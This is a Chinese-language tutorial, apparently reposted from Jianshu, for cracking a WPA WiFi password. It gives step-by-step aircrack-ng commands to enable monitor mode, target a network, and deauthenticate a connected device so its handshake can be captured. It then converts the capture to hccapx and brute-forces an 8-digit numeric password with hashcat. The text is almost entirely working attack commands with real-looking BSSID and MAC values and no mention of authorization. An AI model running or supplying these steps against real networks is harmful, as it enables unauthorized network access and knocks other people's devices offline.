HashCat wifi密码
WIFI 密码
要破解 WIFI 密码，首先要抓到 WIFI 的握手包，要想得到 WIFI 的握手包，就需要在监听时刚好有设备连接了该 WIFI，但这就需要运气加成，因此可以我们可以主动将该 WIFI 的设备踢下去，一般设备就会自动连接该 WIFI，此时我们就抓到握手包了。
抓取 WIFI 握手包
1、将网卡处于监听状态
airmon-ng check
airmon-ng check kill // 关闭影响监听状态的进程
airmon-ng start wlan0
wlan0 是网卡名称，一般都是 wlan0，如果不是则需要根据自己的情况进行修改，可通过 iwconfig 进行查看网卡的名称
当使用 iwconfig 查看网卡名称变为 wlan0mon 说明此时网卡已经处于监听模式了
2、扫描可用 WIFI
airodump-ng wlan0mon
3、获取wifi的握手包
airodump-ng -c (上一步扫描的 CH ) --bssid (想要破解 WIFI 的 bssid ) -w (握手文件存放目录) wlan0mon
这里以 ssid 为 teamssix 的 WIFI 为例
airodump-ng -c 1 --bssid 5E:C1:1B:A2:37:F1 -w ./ wlan0mon
为了顺利得到 WIFI 的握手包，可以将该 WIFI 下的设备强制踢下去
aireplay-ng -0 0 -a (要破解的 wifi 的 bssid ) -c (强制踢下的设备的 MAC 地址) wlan0mon
可以看到 teamssix 这个 WIFI 有一个设备正在连接，该设备的 MAC 地址为：38:26:2C:13:D3:33，使用以下命令可以将其强制踢下去
aireplay-ng -0 0 -a 5E:C1:1B:A2:37:F1 -c 38:26:2C:13:D3:33 wlan0mon
等待设备重新连接后，当右上角出现 WPA handshake 的时候说明获取成功
4. 握手包转码
hashcat 使用的是 hccapx 后缀的文件，而上面的获取到的 是cap后缀文件，所以要转码。
1）方式一：在线转码
使用 hashcat 官网提供的在线工具进行格式转换：https://hashcat.net/cap2hashcat/
2）方式二：本地工具转码，aircrack-ng
使用 aircrack-ng 将握手包转换成 hccapx 格式
aircrack-ng 1.cap -j 1
会在同目录下生成 1.hccapx 文件
3）方式三：本地工具转码，hashcat-utils-1.9
cap2hccapx 1.cap 1.hccapx
会在同目录下生成 1.hccapx 文件
cap 名字建议使用 MAC地址命名，防止乱
5、破解密码
hashcat -a 3 -m 2500 1.hccapx ?d?d?d?d?d?d?d?d --force
或者
hashcat -a 3 -m 22000 1.hc22000 ?d?d?d?d?d?d?d?d --force
作者：TeamsSix
链接：https://www.jianshu.com/p/52d1ed684020
来源：简书
著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。